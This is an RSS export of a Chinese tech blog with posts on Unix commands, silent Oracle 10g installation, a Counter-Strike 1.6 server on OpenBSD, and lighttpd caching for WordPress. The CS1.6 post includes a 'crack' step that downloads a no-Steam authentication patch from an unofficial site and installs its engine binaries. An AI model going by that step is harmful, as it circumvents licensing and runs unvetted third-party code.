q      退出 mail,把末删除的邮件保存到个人邮箱中.<br />
R     回复邮件<br />
!      执行shell命令.<br />
?      显示mail的内部命令.<br />
第四章 文件系统<br />
与目录相关的命令(pwd,cd,mkdir,rmdir,ls)<br />
与文件相关的命令(cp,mv,ln,more,rm)<br />
1.pwd 显示当前工作目录<br />
2.cd  改变当前目录<br />
3.mkdir 创建目录<br />
格式 mkdir dir_name<br />
4.rmdir 删除目录<br />
格式 rmdir dir_name<br />
     a.只能是空目录.<br />
      b.有写的权限<br />
一次操作多个目录<br />
- p 选项.在当前目录下逐级创建目录,也可以逐级删除目录.<br />
5.ls 显示目录<br />
$ ls -a 显示所有文件(以点开头的文件名是隐藏文件)<br />
$ ls -R 显示所有子目录的内容<br />
$ ls &#8211; l  能得到目录中的文件的详细信息.<br />
-:普通 d: 目录 c: 字符设备 b: 块设备 p:管道<br />
$ ls &#8211; C 以多列的格式列表,按列排序.<br />
$ ls &#8211; F 如果是目录,文件名后加/,如果是可执行文件,加*表示.<br />
$ ls &#8211; m 按页宽列文件,以逗号分隔.<br />
$ ls &#8211; p 如果是目录,文件名后加/<br />
$ ls &#8211; r 以字母反序列表<br />
$ ls &#8211; s 以文件块为单位显示文件大小<br />
$ ls &#8211; x 以多列的格式列表,按行排序.<br />
$ ls -G 以不同的颜色显示.<br />
$ ls -lc 显示更新时间<br />
$ ls -i   inode序号将列在第一列<br />
$ ls -lu 显示访问时间<br />
$ ls -I   显示更改时间<br />
6.touch 命令:作用是用来修改文件访问时间更改时间的.并可以</p>
<p>用来创建0字节长度的文件.<br />
格式 touch 命令参数<br />
7.cp 命令:复制文件<br />
格式 cp source target<br />
         $ cp file1 file2 &#8230; Target-dir<br />
$ cp -i 如果目标文件存在,请求确认<br />
$ cp -r 复制目录到新的目录<br />
8.mv 命令:移动文件或命名文件<br />
格式:mv source target<br />
9.ln 命令:ln命令的主要功能是给一个已经存在的文件再取一个</p>
<p>名字.新的文件名与原文件名可以在同一个目录下,也可以以在</p>
<p>不同的目录下,新老文件名代表同一个文件.<br />
格式ln source-file target-file<br />
作用:在现有的文件与新文件之间建立新链接,使一个文件具有</p>
<p>一个以上的名字.<br />
显示文件内容命令<br />
10.cat 命令:用来显示.创建或者合并文件<br />
格式cat filename<br />
11.more 命令:逐屏显示文件内容.翻屏时用<space>键.<br />
格式:$ more filename<br />
12.rm 命令:删除文件(删除后无法恢复)<br />
格式:$ rm file<br />
         $ rm file1 file2<br />
$ rm -i 删除文件前,给出确认<br />
$ rm -r 删除指定的目录及目录中的所有文件和子目录.即删除</p>
<p>整个目录结构.<br />
13.lp 命令:打印命令<br />
14.cut 命令:切取文件内容,用于切取文件中的列或字段.它把文</p>
<p>本文件中每一行的一部分显示输出.运行时必须指定功能选项.<br />
- f 指定字段的位置<br />
-c 指定列的位置<br />
-d 指定字段分隔符,缺省的字段分隔符是制表符tab<br />
15.paste 命令:连接文件.<br />
作用:把文件一行接一行地连接在一起,或者把两个或多个文件</p>
<p>的域连到一个新文件里.<br />
格式: $paste 选项 参数<br />
选项:-d 指定分隔符.默认是制表符<br />
第五章 文件权限<br />
16.chmod 命令:修改文件权限,常用chmod命令修改文件(包括普</p>
<p>通,目录和设备)的访问权限,<br />
格式: chmod pattern filename &#8230;<br />
finename 为要修改的权限文件名.可以有多个.<br />
pattern 为将改变成的权限,可以用两种形式表示:字母式和数字</p>
<p>形式.<br />
a,字母形式(符号模式)<br />
字母形式由用户类别(u,g,o). 如何改变(+,-)和权限(r,w,x)三部分</p>
<p>组成.<br />
u:本用户g:同组用户o:其它用户. + :增加权限 -:删除权限<br />
r:读w:写x:执行<br />
例如:chmod u+x file1<br />
         chmod o-w file2 file3<br />
          chmod go+r file4<br />
b,    数值形式<br />
格式: chmod 777 file1<br />
*新建文件或目录最大权限=状态掩码+新建文件或目录缺省</p>
<p>权限.此时unask为000<br />
对一个新建的文件,umask值为022则指定该文件的权限为644:<br />
对一个新建的目录,umask值为022则指定该目录的权限为755<br />
17.sort 命令:作用在于将指定的文件中的文件进行排序,并把排</p>
<p>序的结果输出到指定的标准输出中.<br />
格式:$srot [-t delimiter] [+field] [.column]][option]<br />
选项: -d 以字典顺序进行排序<br />
          -<br />
18.head 命令:用于查看一个文件.或多个文件的前面几行的内</p>
<p>容.<br />
格式:$ head [-number_of_lines] file(s)<br />
19.tail 命令:用于显示从指定行开始直到文件末尾的文件内容<br />
格式;tail [-number_of_lines | +number_of_lines]file<br />
20.tee 命令:在获得输入后,将把该输入数据送到两个地点:标准<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
输出和文件.<br />
21.grep 命令: 用于选项定包含特定模式的文本行.<br />
21.find 命令:在目录中递归地搜索包括有特定字符的文件名.<br />
22.df 命令:磁盘空间监测命令.显示当前系统中各个逻辑磁盘</p>
<p>中空闲的磁盘块数和空闲的索引节点(即可建立的新文件数)<br />
23.du 命令:查看磁盘使用情况统计,统计指定的目录及所有子</p>
<p>目录的磁盘使用情况,统计单位是磁盘块数.<br />
选项:-a 显示所有文件及子目录<br />
24.fsck 命令:文件系统管理:用于检测和修复文件文件的错误,<br />
25.tar命令:文件存储与备份.该命令可以把文件系统中的一个</p>
<p>或一组文件打成一个文件包.存放到外存上或硬盘上文件系统</p>
<p>的其它地方.常用于多个文件(包括目录)的备份或转移.<br />
格式: tar -cvf target file1 file2 file3 &#8230;把file1 file2 file3等文件备份到</p>
<p>档案文件target中.<br />
         tar -tvf target 检查档案文件target中包含的文件信息.<br />
         tar -xvf targer [file1] 从档案文件target中提取全部或file指定</p>
<p>的文件.<br />
26.shutdown 命令:系统关机<br />
选项:-h 完全关机<br />
         -r 关机并重新启动系统<br />
         time 关机时间,如17:30<br />
         message 关机前向所有已登陆用户发送消息<br />
例如: shutdown -r now 现在关机重启.<br />
27.crypt 文件加密命令:用于对文本文件进行加密和解密.以防</p>
<p>止文件内容泄密.<br />
例如:$ crypt < file > file.cry 对file加密,结果保存在file.cry中.key:加</p>
<p>密口令<br />
        $ crypt <aaa.cry > aaa 对aaa.cry解密,结果保存到aaa中. key:</p>
<p>解密口令<br />
附:$ vi -x file.cry 编辑一个加密后的文件<br />
28.compress/uncompress 文件压缩和解压命令<br />
格式:compress data_file 加压后自动在文件名后加一个.Z<br />
         umcompress abc.Z<br />
29.at 定时执行任务:在指定的时间一次性执行规定的任务.<br />
at 15:30 在15:30分执行<br />
who >> userlist 把上机用户清单发到userlist<br />
30,cron 系统定量执行任务:<br />
31,crontab 任务描述文件的管理命令.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/893.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>L i n u x 字符环境下安装ORACLE之关键步骤</title>
		<link>http://www.evanjiang.net.cn/archives/878.html</link>
		<comments>http://www.evanjiang.net.cn/archives/878.html#comments</comments>
		<pubDate>Mon, 06 Apr 2009 11:32:38 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[oracle]]></category>
		<category><![CDATA[redhat linux]]></category>
		<category><![CDATA[linux 字符界面 安装 oracle]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=878</guid>
		<description><![CDATA[<p> L i n u x 字符环境下安装之关健步骤 </p>
<p>编辑Response 文件
　　 这一步骤是字符界面装oracle的关键步骤
　　 到oracle 10g的安装目录下编辑response文件
　　 $cd /home/share/Oracle/Oracle10g_64bit/database/response/ 　　 可以看到oracle准备了6个response文件，实际上这些文件就是用来安装和配置oracle时的模板，分别是 custom.rsp dbca.rsp emca.rsp enterprise.rsp netca.rsp standard.rsp在这里挑了一个简单的response文件 enterprise.rsp，也可以根据实际情况去选用编辑其他几个response文件。
$cp custom.rsp myinst.rsp
　　 $vi myinst.rsp</p>
<p>修改几个地方，有几个不会改的，俺用## 两个#号注释，方便以后修改。</p>
<p>cd .. 转到安装文件所在目录
改好之后运行 ./runInstaller -silent -responseFile response/myinst.rsp
注意：最后面的 response/myinst.rsp 是相对路径。只要给出正确的应答文件就可以。</p>
<p>运行命令后 看到 屏幕上提示：
End of install （后面省略两百字，一共是四行），就表示文件已经复制完毕。按回车键，出现提示符。</p>
<p>然后，转到安装目录：
cd /opt/oracle/product/10.2.0/db_1
su
口令
./root.sh
根据提示按 Enter 就可以。
这样就在字符下成功安装。

后续工作
建数据库。</p>
<p>后 续 工 作</p>
<p>测试：
sqlplus： Oracle10g 数据库(手工)的开始和关闭</p>
<p>From diagnostic point of view it is [...]]]></description>
			<content:encoded><![CDATA[<p> L i n u x 字符环境下安装之关健步骤 </p>
<p>编辑Response 文件<br />
　　 这一步骤是字符界面装oracle的关键步骤<br />
　　 到oracle 10g的安装目录下编辑response文件<br />
　　 $cd /home/share/Oracle/Oracle10g_64bit/database/response/ 　　 可以看到oracle准备了6个response文件，实际上这些文件就是用来安装和配置oracle时的模板，分别是 custom.rsp dbca.rsp emca.rsp enterprise.rsp netca.rsp standard.rsp在这里挑了一个简单的response文件 enterprise.rsp，也可以根据实际情况去选用编辑其他几个response文件。<br />
$cp custom.rsp myinst.rsp<br />
　　 $vi myinst.rsp</p>
<p>修改几个地方，有几个不会改的，俺用## 两个#号注释，方便以后修改。</p>
<p>cd .. 转到安装文件所在目录<br />
改好之后运行 ./runInstaller -silent -responseFile response/myinst.rsp<br />
注意：最后面的 response/myinst.rsp 是相对路径。只要给出正确的应答文件就可以。</p>
<p>运行命令后 看到 屏幕上提示：<br />
End of install （后面省略两百字，一共是四行），就表示文件已经复制完毕。按回车键，出现提示符。</p>
<p>然后，转到安装目录：<br />
cd /opt/oracle/product/10.2.0/db_1<br />
su<br />
口令<br />
./root.sh<br />
根据提示按 Enter 就可以。<br />
这样就在字符下成功安装。<br />
<span id="more-878"></span><br />
后续工作<br />
建数据库。</p>
<p>后 续 工 作</p>
<p>测试：<br />
sqlplus： Oracle10g 数据库(手工)的开始和关闭</p>
<p>From diagnostic point of view it is very important to check sqlplus is<br />
functioning properly. If not then your installation is having problems.</p>
<p>从诊断的观点检查sqlplus是非常重要的，它在适当起作用。 如果不说明您的设置有问题。</p>
<p>oracle@sles10:~> sqlplus &#8220;connect /as sysdba&#8221;</p>
<p>Enter password:<br />
Connected to:<br />
&#8230;&#8230;&#8230;..<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
SQL> show rel<br />
SQL> show sga</p>
<p>SQL> exit<br />
oracle@sles10:~></p>
<p>1. To startup the database:<br />
sl10$ sqlplus /nolog<br />
SQL> connect / as sysdba<br />
SQL> startup<br />
2. To shutdown the database:<br />
sl10$ sqlplus /nolog<br />
SQL> connect / as sysdba<br />
SQL> shutdown</p>
<p>
<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
有时候安装不成功，想重新干净的安装，可以这么做：<br />
1 . 去除 /usr/local/bin 目录 下的 coraenv dbhome oraenv<br />
2 . 去除 /etc/oratab , /etc/oracle<br />
3 . 去掉安装 目录 /opt/oracle 目录下的 product admin oradata oralnventor 目录 。<br />
#####################################################################################################################</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/878.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>OpenBSD4.4下架设CS1.6服务器</title>
		<link>http://www.evanjiang.net.cn/archives/875.html</link>
		<comments>http://www.evanjiang.net.cn/archives/875.html#comments</comments>
		<pubDate>Mon, 06 Apr 2009 11:08:42 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[openbsd unix]]></category>
		<category><![CDATA[www]]></category>
		<category><![CDATA[Openbsd cs 服务器 驾设]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=875</guid>
		<description><![CDATA[<p>Setp 1：环境
1、操作系统OpenBSD4.4。
2、开启Linux支持
#mg /etc/sysctl.conf
去掉#kern.emul.linux=1前的#
#cd /usr/ports/emulators/redhat
#make install</p>
<p>Setp 2：下载所需软件
1：先到http://www.okgogogo.com/download/view.asp?id=393下载hlds_l_02162004.tar.gz
2：接下来下载NoSteamAuthEngines，这个是nosteam补丁：
wget http://www.cstrike.ro/cstrike_files/engine.v15.tgz</p>
<p>Setp 3：安装
#cd /var
#tar zxvf hlds_l_02162004.tar.gz</p>
<p>Setp 4：破解
#tar zxvf engine.tgz
#mv engine_amd.so hlds_l/
#mv engine_i486.so hlds_l/
#mv engine_i686.so hlds_l/</p>
<p>Setp 5：配置
#cd hlds_l
#mg cs
#!/bin/sh
./hlds_run -game cstrike -port 27015 -insecure -ip x.x.x.x +servercfgfile server2.cfg +maxplayers 32 +map de_dust2 -nojoy -noipx -nomaster +localinfo

Setp 6：server.cfg的设置(根据个人情况增添)
rcon_password “rconpassword”
// OP 密码
// “” 表示没有</p>
<p>hostname “CS1.6比赛专用服务器 #A01″
// 服务器名称</p>
<p>sv_region 4
// 服务器所在区域注册参数\r
// 255=全球
// 0=美国东部
// 1=美国西部
// 2=南美洲\r
// [...]]]></description>
			<content:encoded><![CDATA[<p>Setp 1：环境<br />
1、操作系统OpenBSD4.4。<br />
2、开启Linux支持<br />
#mg /etc/sysctl.conf<br />
去掉#kern.emul.linux=1前的#<br />
#cd /usr/ports/emulators/redhat<br />
#make install</p>
<p>Setp 2：下载所需软件<br />
1：先到http://www.okgogogo.com/download/view.asp?id=393下载hlds_l_02162004.tar.gz<br />
2：接下来下载NoSteamAuthEngines，这个是nosteam补丁：<br />
wget http://www.cstrike.ro/cstrike_files/engine.v15.tgz</p>
<p>Setp 3：安装<br />
#cd /var<br />
#tar zxvf hlds_l_02162004.tar.gz</p>
<p>Setp 4：破解<br />
#tar zxvf engine.tgz<br />
#mv engine_amd.so hlds_l/<br />
#mv engine_i486.so hlds_l/<br />
#mv engine_i686.so hlds_l/</p>
<p>Setp 5：配置<br />
#cd hlds_l<br />
#mg cs<br />
#!/bin/sh<br />
./hlds_run -game cstrike -port 27015 -insecure -ip x.x.x.x +servercfgfile server2.cfg +maxplayers 32 +map de_dust2 -nojoy -noipx -nomaster +localinfo<br />
<span id="more-875"></span><br />
Setp 6：server.cfg的设置(根据个人情况增添)<br />
rcon_password “rconpassword”<br />
// OP 密码<br />
// “” 表示没有</p>
<p>hostname “CS1.6比赛专用服务器 #A01″<br />
// 服务器名称</p>
<p>sv_region 4<br />
// 服务器所在区域注册参数\r<br />
// 255=全球<br />
// 0=美国东部<br />
// 1=美国西部<br />
// 2=南美洲\r<br />
// 3=欧洲<br />
// 4=亚洲<br />
// 5=澳洲<br />
// 6=中东<br />
// 7=非洲</p>
<p>sv_rcon_maxfailures 9999<br />
// 输入OP密码 错误次数上限<br />
// 达到上限则封禁对方的IP</p>
<p>sv_rcon_banpenalty 5<br />
// 封禁的时限 单位 分钟<br />
// 0=永久<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
sv_maxupdaterate 30<br />
// 服务器每秒更新最大频率\r<br />
// 根据实际网络状况调节<br />
// 默认=30<br />
// 局域=101</p>
<p>sv_minupdaterate 20<br />
// 服务器每秒更新最小频率\r</p>
<p>sv_unlag 1<br />
// 玩家延时补偿<br />
// 0=关闭<br />
// 1=开启 (默认)</p>
<p>sv_maxunlag 0.5<br />
// 延时补偿最大值默认 0.5<br />
// 0.5=500毫秒 (默认)</p>
<p>sv_voiceenable 1<br />
// 服务器是否允许麦克风语音通讯<br />
// 0=禁止<br />
// 1=允许 (默认)</p>
<p>sv_unlagsamples 1<br />
// 延时补偿数据包平均采样数量\r<br />
// 默认=1</p>
<p>sv_unlagpush 0<br />
// 服务器推进延时补偿\r<br />
// 0=关闭 (默认)<br />
// 1=开启\r</p>
<p>mp_autokick 0<br />
// 自动踢除不动的玩家\r<br />
// 0=关闭<br />
// 1=开启 (比赛默认)</p>
<p>mp_autocrosshair 0<br />
// 自动瞄准<br />
// 0=关闭 (默认)<br />
// 1=开启\r</p>
<p>mp_autoteambalance 0<br />
// 自动平衡双方人数<br />
// 0=关闭 (比赛默认)<br />
// 1=开启\r</p>
<p>mp_buytime 0.25<br />
// 每回合购买武器装备时间单位分钟\r<br />
// 比赛默认=0.25</p>
<p>mp_consistency 1<br />
// 防止某些模型被更改\r<br />
// 0=关闭<br />
// 1=开启 (默认)</p>
<p>mp_c4timer 35<br />
// C4爆炸倒计时单位秒<br />
// 比赛默认=35</p>
<p>mp_decals 300<br />
// 墙壁上的血花弹孔贴图细节数据传送(200-300)</p>
<p>mp_falldamage 1<br />
// 高处落下伤害<br />
// 0=关闭<br />
// 1=开启 (默认)</p>
<p>mp_fadetoblack 0<br />
// 死后黑屏<br />
// 0=关闭 (默认)<br />
// 1=开启\r</p>
<p>mp_flashlight 1<br />
// 手电筒\r<br />
// 0=禁止<br />
// 1=允许 (默认)</p>
<p>mp_forcechasecam 2<br />
// 死后跟随<br />
// 0=所有玩家\r<br />
// 1=仅队友\r<br />
// 2=仅队友，主视角 (比赛默认)</p>
<p>mp_forcecamera 2<br />
// 死后视角选择<br />
// 0=全部视角<br />
// 1=仅队友，全部视角<br />
// 2=仅队友，主视角 (比赛默认)</p>
<p>mp_footsteps 1<br />
// 脚步声\r<br />
// 0=关闭<br />
// 1=开启 (默认)</p>
<p>mp_fraglimit 0<br />
//杀人数上限(1~n)，超过上限就换地图\r<br />
// 0=关闭 (默认)</p>
<p>mp_freezetime 7<br />
// 每回合开始冻结时间单位秒</p>
<p>mp_friendlyfire 1<br />
// 友军伤害<br />
// 0=关闭<br />
// 1=开启 (默认)</p>
<p>mp_friendly_grenade_damage 1<br />
// 友军手雷伤害<br />
// 0=关闭<br />
// 1=开启\r</p>
<p>mp_hostagepenalty 0<br />
// 惩罚人质杀手\r<br />
// 0=不惩罚 (默认)<br />
// 1~N=人质被杀数量，超过则踢出该玩家\r</p>
<p>mp_limitteams 10<br />
// 两队人数差异上限<br />
// 超过此上限，新玩家只能当观察员\r<br />
// 比赛默认=10</p>
<p>sv_logbans 1<br />
// 服务器日志里记录Ban掉玩家的内容<br />
// 0=不记录\r<br />
// 1=记录</p>
<p>mp_logecho 1<br />
// 将服务器日志反馈到控制台<br />
// 0=关闭<br />
// 1=开启\r</p>
<p>mp_logdetail 3<br />
// 服务器日志里记录攻击信息<br />
// 0=不记录任何信息\r<br />
// 1=记录敌人攻击<br />
// 2=记录队友攻击<br />
// 3=记录所有攻击\r</p>
<p>mp_logfile 1<br />
// 服务器记录日志为文件<br />
// 0=不记录\r<br />
// 1=记录</p>
<p>mp_logmessages 1<br />
// 服务器日志里记录谈话内容<br />
// 0=不记录\r<br />
// 1=记录</p>
<p>mp_maxrounds 0<br />
// 回合上限，达到此上限，自动重新载入新地图<br />
// 0=无回合上限 (默认)</p>
<p>mp_playerid 0<br />
// 当准星指向敌人或队友时，显示他们的名字\r<br />
// 0=关闭 (比赛默认)<br />
// 1=开启\r</p>
<p>mp_roundtime 1.75<br />
// 每回合时限单位分钟\r</p>
<p>mp_timelimit 0<br />
// 地图最大时限，达此时限，自动重新载入新地图<br />
// 0=无时限\r</p>
<p>mp_tkpunish 0<br />
// 惩罚队友杀手\r<br />
// 0=关闭 (默认)<br />
// 1=开启\r</p>
<p>mp_startmoney 800<br />
// 第一回合开始金钱(800~16000)<br />
// 加时赛=10000</p>
<p>mp_winlimit 0<br />
// 一方最大胜利回合数，达到此数量，自动重新载入新地图<br />
// 0=无限制 (默认)</p>
<p>sv_aim 0<br />
// 自动瞄准<br />
// 0=关闭 (默认)<br />
// 1=开启\r</p>
<p>sv_airaccelerate 10<br />
// 玩家在空中移动的速度<br />
// 默认=10</p>
<p>sv_airmove 1<br />
// 在空中移动&#038;转向<br />
// 0=禁止<br />
// 1=允许(默认)</p>
<p>sv_allowdownload 1<br />
// 客户端下载服务器资源<br />
// 0=禁止<br />
// 1=允许 (默认)</p>
<p>sv_allowupload 1<br />
// 客户端上传自己的喷图<br />
// 0=禁止<br />
// 1=允许 (默认)</p>
<p>sv_alltalk 0<br />
// 警匪通话<br />
// 0=禁止 (默认)<br />
// 1=允许</p>
<p>sv_proxies 1<br />
// HLTV代理<br />
// 0=禁止<br />
// 1=允许 (默认)</p>
<p>sv_cheats 0<br />
// 作弊模式<br />
// 0=关闭 (默认)<br />
// 1=开启\r</p>
<p>sv_clienttrace 1.0<br />
// 客户端模型的范围框的尺寸<br />
// 默认 1.0</p>
<p>sv_clipmode 0<br />
// 锁定客户端快速模式\r<br />
// 0=关闭(默认)<br />
// 1=开启\r</p>
<p>sv_contact boezombie@gmail.com<br />
// 服务器构建者的联系邮箱</p>
<p>sv_friction 4<br />
// 地面摩擦力默认 4<br />
// 数值越低，摩擦越小</p>
<p>sv_gravity 800<br />
// 重力默认 800</p>
<p>sv_maxrate 25000<br />
// 服务器最大传输速率 <0-25000><br />
// (服务器上传带宽 x 125) /服务器设定的最大人数 = 要设的值\r<br />
// 0=无限制\r<br />
// 局域=25000</p>
<p>sv_maxspeed 320<br />
// 客户端最大移动速度</p>
<p>sv_minrate 0<br />
// 服务器最小传输速率 <0-25000><br />
// sv_maxrate / 300 = 要设的值\r<br />
// 0=无限制\r</p>
<p>sv_restartround 0<br />
// 重新开始第一回合在n秒后</p>
<p>sv_restart 0<br />
// 重新开始游戏在n秒后<br />
// 作用等同于sv_restartround</p>
<p>sv_send_logos 1<br />
// 客户端相互之间传送喷图\r<br />
// 0=禁止<br />
// 1=允许(同时确保sv_allowdownloads键值为1)</p>
<p>sv_sendvelocity 0<br />
// 服务器混合物理运算，适用于较好配置的服务器\r<br />
// 0=关闭<br />
// 1=开启\r</p>
<p>sv_send_resources 1<br />
// 自动向客户端传送地图关联的 &#038; .res文件里包括的资源文件<br />
// 0=关闭<br />
// 1=开启(同时确保sv_allowdownload为1)<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
sv_stepsize 18<br />
// 玩家的步伐距离\r<br />
// 默认 18</p>
<p>sv_stopspeed 75<br />
// 玩家停止移动时的速度默认 75</p>
<p>sv_timeout 65<br />
// 客户端连接服务器超时的时限，达到时限则断开连接</p>
<p>sv_voicecodec voice_speex<br />
// 语音通话解码<br />
// voice_miles是HL引擎长期以来用的语音解码(默认)，占用带宽较大，为32kbps<br />
// voice_speex是Valve新加入的解码，优于voice_miles，占用带宽较少，为2.4kbps至15.2kbps </p>
<p>sv_voicequality 5<br />
// 客户端语音通话质量(确保sv_voicecodec voice_speex)<br />
// 1=非常差………..占用带宽 2.4 kbps<br />
// 2=差……………占用带宽 6.0 kbps<br />
// 3=中等………….占用带宽 8.0 kbps<br />
// 4=好……………占用带宽 11.2 kbps<br />
// 5=非常清晰………占用带宽 15.2 kbps</p>
<p>allow_spectators 1<br />
// 观察员模式\r<br />
// 0=禁止<br />
// 1=允许</p>
<p>decalfrequency 60<br />
// 玩家喷图的时间间隔单位秒</p>
<p>edgefriction 2<br />
// 玩家与玩家、墙壁、物体之间的摩擦<br />
// 默认 2</p>
<p>host_framerate 0<br />
// 与Demo录制有关<br />
// 0 // n=0 为正常(默认)<br />
// n>1 为快录\r</p>
<p>log on<br />
// 开始记录日至\r</p>
<p>pausable 1<br />
// 客户端暂停游戏\r<br />
// 0=禁止<br />
// 1=允许</p>
<p>mapcyclefile mapcycle.txt<br />
// 地图循环列表所在的.txt文件<br />
// *.txt = cstrike\*.txt文件</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/875.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Installing WP Super Cache with lighttpd</title>
		<link>http://www.evanjiang.net.cn/archives/872.html</link>
		<comments>http://www.evanjiang.net.cn/archives/872.html#comments</comments>
		<pubDate>Sun, 05 Apr 2009 14:06:49 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>
		<category><![CDATA[redhat linux]]></category>
		<category><![CDATA[www]]></category>
		<category><![CDATA[install wp super cache lighttpd]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=872</guid>
		<description><![CDATA[<p>Trying to get WP Super Cache &#038; WordPress working on my fast lighttpd server, I came into problems, mainly because of lighttpd’s lack of (Apache’s version of) the mod_rewrite module. The static files that were created from the cache were not statically served from wordpress. The problem is that in order to use them, the [...]]]></description>
			<content:encoded><![CDATA[<p>Trying to get WP Super Cache &#038; WordPress working on my fast lighttpd server, I came into problems, mainly because of lighttpd’s lack of (Apache’s version of) the mod_rewrite module. The static files that were created from the cache were not statically served from wordpress. The problem is that in order to use them, the PHP fcgi was called for each request. So, why would we have to call PHP every time that a file can be completely statically provided by the web server?</p>
<p>Following this guide I came up  with some problems trying to serve the static files. The problem with that version of the rewrite.lua script is that it does not really work the way it should. The whole point of using WP Super Cache is to avoid calling the PHP fcgi for posts that are already cached into an html file. Calling the PHP fcgi is much slower than using the “core” lighttpd static-page-serving facilities.</p>
<p>So, what did I do to avoid calling the PHP fcgi?</p>
<p>The following script takes the url that was asked from the client. It checks whether there is a fresh version of a static HTML page on the cache and if yes, it servers that. If the file does not exist al all or the it is expired(I check its modification date) then the request is forwarded to the PHP fcgi so that it can be freshly served.</p>
<p>In my lighttpd.conf I have put this:<br />
<span id="more-872"></span><br />
view sourceprint?<br />
01.<br />
$HTTP["host"] == &#8220;www.asteriosk.gr&#8221; {<br />
02.</p>
<p>03.<br />
alias.url = ( &#8220;/storage/&#8221; => &#8220;/opt/storage/&#8221; )<br />
04.<br />
server.document-root = &#8220;/opt/apps/wordpress/&#8221;<br />
05.<br />
url.rewrite = (<br />
06.<br />
&#8220;^/(wiki|wp-admin|wp-includes|wp-content|storage)/(.*)&#8221; => &#8220;$0&#8243;,<br />
07.<br />
&#8220;^/(sitemap\.xml|sitemap\.xml\.gz)&#8221; => &#8220;$0&#8243;,<br />
08.<br />
&#8220;^/(.*\.php)&#8221; => &#8220;$0&#8243;,<br />
09.<br />
&#8220;^/(.*)$&#8221; => &#8220;/index.php/$1&#8243;<br />
10.<br />
)<br />
11.<br />
magnet.attract-physical-path-to = ( server.document-root + &#8220;rewrite.lua&#8221; )<br />
12.</p>
<p>13.<br />
}<br />
And in the rewrite.lua file I have put this:</p>
<p>view sourceprint?<br />
01.<br />
expiration_time = 10*60<br />
02.</p>
<p>03.<br />
function serve_html(cached_page, expiration_time)<br />
04.<br />
attr = lighty.stat(cached_page)<br />
05.<br />
&#8211;Check if the cached file has expired<br />
06.<br />
if (attr and (attr['st_mtime'] + expiration_time) > os.time() ) then<br />
07.<br />
lighty.env["physical.path"] = cached_page<br />
08.<br />
return true<br />
09.<br />
else<br />
10.<br />
return false<br />
11.<br />
end<br />
12.<br />
end<br />
13.</p>
<p>14.<br />
function serve_gzip(cached_page, expiration_time)<br />
15.<br />
attr = lighty.stat(cached_page .. &#8220;.gz&#8221;)<br />
16.<br />
&#8211;Check if the gziped cached file has expired<br />
17.<br />
if (attr and  (attr['st_mtime'] + expiration_time) > os.time() ) then<br />
18.<br />
lighty.header["Content-Encoding"] = &#8220;gzip&#8221;<br />
19.<br />
lighty.header["Content-Type"] = &#8220;&#8221;<br />
20.<br />
lighty.env["physical.path"] = cached_page .. &#8220;.gz&#8221;<br />
21.<br />
return true<br />
22.<br />
else<br />
23.<br />
return false<br />
24.<br />
end<br />
25.<br />
end<br />
26.</p>
<p>27.<br />
attr = lighty.stat(lighty.env["physical.path"])<br />
28.<br />
if (not attr) then<br />
29.</p>
<p>30.<br />
lighty.env["physical.rel-path"] = lighty.env["uri.path"]<br />
31.<br />
&#8211;Change the &#8220;/opt/apps/wordpress/&#8221; to your own wordpress location<br />
32.<br />
lighty.env["physical.path"] = &#8220;/opt/apps/wordpress/&#8221;<br />
33.<br />
.. lighty.env["physical.rel-path"]<br />
34.<br />
&#8211; If we are querying, we don&#8217;t have to cache of course<br />
35.<br />
query_condition = not ( lighty.env["uri.query"] and<br />
36.<br />
string.find(lighty.env["uri.query"], &#8220;.*s=.*&#8221;))<br />
37.<br />
&#8211;If there exists a cookie in the client, probably he/she has been here before<br />
38.<br />
&#8211;and has left a comment. In that case we don&#8217;t use cached content<br />
39.<br />
&#8211;for example, the user might has just submitted a comment.<br />
40.<br />
user_cookie = lighty.request["Cookie"] or &#8220;no_cookie_here&#8221;<br />
41.<br />
